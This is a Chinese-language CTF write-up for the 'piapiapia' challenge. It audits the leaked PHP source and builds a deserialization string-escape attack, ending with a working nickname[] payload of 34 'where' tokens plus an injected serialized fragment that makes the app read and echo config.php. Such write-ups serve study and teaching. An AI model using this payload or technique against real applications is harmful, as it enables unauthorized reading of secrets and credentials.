C
C
CTF-WriteUp
Search
⌃K

piapiapia

扫描之后发现目录中有www.zip,审计源码
先看config.php,查看配置文件:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
看到配置文件有$flag变量,接着查看class.php文件,可以看到有两个类,类mysql封装SQL的函数,类user为mysql的拓展类,其中mysql类中封装的函数有WAF。
审计其他文件,在profile.php文件中找到关键代码。
$photo = base64_encode(file_get_contents($profile['photo']));
该变量$profile的反序列化操作之后,将变量$profile['photo']进行了文件读取操作,接着在HTML代码中直接echo该变量,剩下的就是研究怎么把config.php填充到这个变量了。
传入参数后,调用函数update_profile():
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
查看过滤函数,对传入的三个值进行了过滤,其中第三个传入的$nickname参数可以通过数组绕过。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
总共是存在三个正则。第一个正则检验所有非字母值,且限制了长度,这里可以通过PHP类型-数组绕过这里的检验。
绕过了之后传入了mysql的filter函数,这里的函数将所有传入的值进行了过滤,如果存在关键字,将关键字替换为"hacker"。这里的替换应该都比较熟悉了,可以使用反序列化逃逸,逃逸后长度将代替字符";}s:5:"photo";s:10:"config.php";},总共34个字符,所以传入34个where
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}